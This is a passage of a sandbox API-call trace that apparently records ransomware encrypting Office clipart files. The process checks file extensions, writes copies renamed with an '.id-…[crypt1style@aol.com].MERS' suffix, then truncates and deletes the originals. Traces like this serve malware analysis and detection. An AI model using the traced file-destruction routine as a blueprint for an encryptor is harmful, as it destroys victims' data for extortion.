lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.572] SetEndOfFile (hFile=0x360) returned 1 [0271.594] CloseHandle (hObject=0x360) returned 1 [0271.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0271.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0271.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0271.594] lstrlenW (lpString=".doc") returned 4 [0271.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.594] lstrlenW (lpString=".docx") returned 5 [0271.594] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.594] lstrlenW (lpString=".pdf") returned 4 [0271.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.594] lstrlenW (lpString=".xls") returned 4 [0271.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.594] lstrlenW (lpString=".xlsx") returned 5 [0271.594] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.594] lstrlenW (lpString=".ppt") returned 4 [0271.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0271.594] lstrlenW (lpString=".zip") returned 4 [0271.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.594] lstrlenW (lpString=".rar") returned 4 [0271.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.595] lstrlenW (lpString=".bz2") returned 4 [0271.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.595] lstrlenW (lpString=".7z") returned 3 [0271.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0271.595] lstrlenW (lpString=".dbf") returned 4 [0271.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0271.595] lstrlenW (lpString=".1cd") returned 4 [0271.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0271.595] lstrlenW (lpString=".jpg") returned 4 [0271.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0271.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0271.595] lstrlenW (lpString=".doc") returned 4 [0271.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.595] lstrlenW (lpString=".docx") returned 5 [0271.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.595] lstrlenW (lpString=".pdf") returned 4 [0271.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.595] lstrlenW (lpString=".xls") returned 4 [0271.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.595] lstrlenW (lpString=".xlsx") returned 5 [0271.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.595] lstrlenW (lpString=".ppt") returned 4 [0271.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0271.595] lstrlenW (lpString=".zip") returned 4 [0271.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.595] lstrlenW (lpString=".rar") returned 4 [0271.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.595] lstrlenW (lpString=".bz2") returned 4 [0271.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.596] lstrlenW (lpString=".7z") returned 3 [0271.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0271.596] lstrlenW (lpString=".dbf") returned 4 [0271.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0271.596] lstrlenW (lpString=".1cd") returned 4 [0271.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0271.596] lstrlenW (lpString=".jpg") returned 4 [0271.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.596] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0271.596] lstrlenW (lpString="BL00122_.WMF") returned 12 [0271.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0271.829] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=10146) returned 1 [0271.829] CloseHandle (hObject=0x284) returned 1 [0271.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x20 [0271.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0271.843] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.843] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0271.844] GetLastError () returned 0x0 [0271.844] ReadFile (in: hFile=0x360, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x27a2, lpOverlapped=0x0) returned 1 [0271.907] WriteFile (in: hFile=0x3c8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x27b0, lpOverlapped=0x0) returned 1 [0271.908] ReadFile (in: hFile=0x360, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0271.908] WriteFile (in: hFile=0x3c8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.908] SetEndOfFile (hFile=0x3c8) returned 1 [0271.908] CloseHandle (hObject=0x3c8) returned 1 [0271.908] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.908] SetEndOfFile (hFile=0x360) returned 1 [0271.910] CloseHandle (hObject=0x360) returned 1 [0271.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0271.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0271.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0271.968] lstrlenW (lpString=".doc") returned 4 [0271.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.968] lstrlenW (lpString=".docx") returned 5 [0271.969] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.969] lstrlenW (lpString=".pdf") returned 4 [0271.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.969] lstrlenW (lpString=".xls") returned 4 [0271.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.969] lstrlenW (lpString=".xlsx") returned 5 [0271.969] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.969] lstrlenW (lpString=".ppt") returned 4 [0271.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0271.969] lstrlenW (lpString=".zip") returned 4 [0271.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.969] lstrlenW (lpString=".rar") returned 4 [0271.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.969] lstrlenW (lpString=".bz2") returned 4 [0271.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.969] lstrlenW (lpString=".7z") returned 3 [0271.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0271.969] lstrlenW (lpString=".dbf") returned 4 [0271.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0271.969] lstrlenW (lpString=".1cd") returned 4 [0271.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0271.969] lstrlenW (lpString=".jpg") returned 4 [0271.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0271.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0271.969] lstrlenW (lpString=".doc") returned 4 [0271.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.969] lstrlenW (lpString=".docx") returned 5 [0271.969] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.969] lstrlenW (lpString=".pdf") returned 4 [0271.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.970] lstrlenW (lpString=".xls") returned 4 [0271.970] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.970] lstrlenW (lpString=".xlsx") returned 5 [0271.970] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.970] lstrlenW (lpString=".ppt") returned 4 [0271.970] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0271.970] lstrlenW (lpString=".zip") returned 4 [0271.970] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.970] lstrlenW (lpString=".rar") returned 4 [0271.970] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.970] lstrlenW (lpString=".bz2") returned 4 [0271.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.970] lstrlenW (lpString=".7z") returned 3 [0271.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0271.970] lstrlenW (lpString=".dbf") returned 4 [0271.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0271.970] lstrlenW (lpString=".1cd") returned 4 [0271.970] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0271.970] lstrlenW (lpString=".jpg") returned 4 [0271.970] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.970] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0271.970] lstrlenW (lpString="BL00152_.WMF") returned 12 [0271.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0271.971] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=1516) returned 1 [0271.971] CloseHandle (hObject=0x3f4) returned 1 [0271.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x20 [0271.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0271.971] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.971] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0271.971] GetLastError () returned 0x0 [0271.971] ReadFile (in: hFile=0x3f4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x5ec, lpOverlapped=0x0) returned 1 [0272.050] WriteFile (in: hFile=0x284, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x5f0, lpOverlapped=0x0) returned 1 [0272.050] ReadFile (in: hFile=0x3f4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0272.050] WriteFile (in: hFile=0x284, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.050] SetEndOfFile (hFile=0x284) returned 1 [0272.050] CloseHandle (hObject=0x284) returned 1 [0272.051] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.051] SetEndOfFile (hFile=0x3f4) returned 1 [0272.055] CloseHandle (hObject=0x3f4) returned 1 [0272.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0272.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0272.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0272.056] lstrlenW (lpString=".doc") returned 4 [0272.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.056] lstrlenW (lpString=".docx") returned 5 [0272.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.056] lstrlenW (lpString=".pdf") returned 4 [0272.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.056] lstrlenW (lpString=".xls") returned 4 [0272.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.056] lstrlenW (lpString=".xlsx") returned 5 [0272.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.056] lstrlenW (lpString=".ppt") returned 4 [0272.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0272.056] lstrlenW (lpString=".zip") returned 4 [0272.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.056] lstrlenW (lpString=".rar") returned 4 [0272.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.056] lstrlenW (lpString=".bz2") returned 4 [0272.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.056] lstrlenW (lpString=".7z") returned 3 [0272.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0272.056] lstrlenW (lpString=".dbf") returned 4 [0272.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0272.056] lstrlenW (lpString=".1cd") returned 4 [0272.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0272.056] lstrlenW (lpString=".jpg") returned 4 [0272.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0272.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0272.056] lstrlenW (lpString=".doc") returned 4 [0272.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.057] lstrlenW (lpString=".docx") returned 5 [0272.057] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.057] lstrlenW (lpString=".pdf") returned 4 [0272.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.057] lstrlenW (lpString=".xls") returned 4 [0272.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.057] lstrlenW (lpString=".xlsx") returned 5 [0272.057] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.057] lstrlenW (lpString=".ppt") returned 4 [0272.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0272.057] lstrlenW (lpString=".zip") returned 4 [0272.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.057] lstrlenW (lpString=".rar") returned 4 [0272.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.057] lstrlenW (lpString=".bz2") returned 4 [0272.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.057] lstrlenW (lpString=".7z") returned 3 [0272.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0272.057] lstrlenW (lpString=".dbf") returned 4 [0272.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0272.057] lstrlenW (lpString=".1cd") returned 4 [0272.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0272.058] lstrlenW (lpString=".jpg") returned 4 [0272.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.058] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.058] lstrlenW (lpString="BL00242_.WMF") returned 12 [0272.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0272.058] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=4024) returned 1 [0272.058] CloseHandle (hObject=0x3f4) returned 1 [0272.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x20 [0272.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0272.059] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.059] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0272.059] GetLastError () returned 0x0 [0272.059] ReadFile (in: hFile=0x3f4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0xfb8, lpOverlapped=0x0) returned 1 [0272.304] WriteFile (in: hFile=0x284, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xfc0, lpOverlapped=0x0) returned 1 [0272.305] ReadFile (in: hFile=0x3f4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0272.305] WriteFile (in: hFile=0x284, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.305] SetEndOfFile (hFile=0x284) returned 1 [0272.305] CloseHandle (hObject=0x284) returned 1 [0272.305] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.305] SetEndOfFile (hFile=0x3f4) returned 1 [0272.307] CloseHandle (hObject=0x3f4) returned 1 [0272.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0272.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0272.307] lstrlenW (lpString="C:\\Program Files\\Microsoft 